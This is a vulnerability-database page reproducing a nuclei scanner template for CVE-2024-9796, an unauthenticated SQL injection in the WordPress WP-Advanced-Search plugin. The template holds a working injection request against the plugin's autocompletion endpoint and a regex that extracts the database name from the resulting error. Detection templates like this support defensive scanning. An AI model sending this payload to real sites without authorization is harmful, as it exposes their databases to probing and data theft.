Lucene search
K

WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection

🗓️ 28 Jun 2026 15:08:32Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 36 Views

WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection, allows unauthenticated attackers to append SQL queries, enabling data extractio

Related
Refs
Code
id: CVE-2024-9796

info:
  name: WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can exploit SQL injection through the autocompletion endpoint to extract sensitive database information including user credentials, posts, comments, and configuration data.
  remediation: |
    Update WP-Advanced-Search plugin to a version later than 3.3.9 that properly escapes user supplied parameters and uses prepared SQL statements in autocompletion-PHP5.5.php.
  reference:
    - https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b/
    - https://github.com/RandomRobbieBF/CVE-2024-9796
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9796
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9796
    cwe-id: CWE-89
    epss-score: 0.02991
    epss-percentile: 0.85634
  metadata:
    max-request: 1
    verified: true
    vendor: mathieu_chartier
    product: wp-advanced-search
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-advanced-search/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,sqli,wp-advanced-search,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20--&f=user_login&type=&e"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "Table '([a-zA-Z0-9_]+)\\.wp_users' doesn't exist"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: database_name
        regex:
          - "([a-zA-Z0-9_]+)\\.wp_users"
# digest: 4a0a00473045022100d93a4b26cf9f6bd3593ccb20075b5181d3c0c9b521a5946cdffd5e379a79fbe802201945cd5aa2afe418feea12f8b589c46859a3e7b681c0b5014f702de2e099e7a9:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.15.9 - 9.8
EPSS0.02991
SSVC
36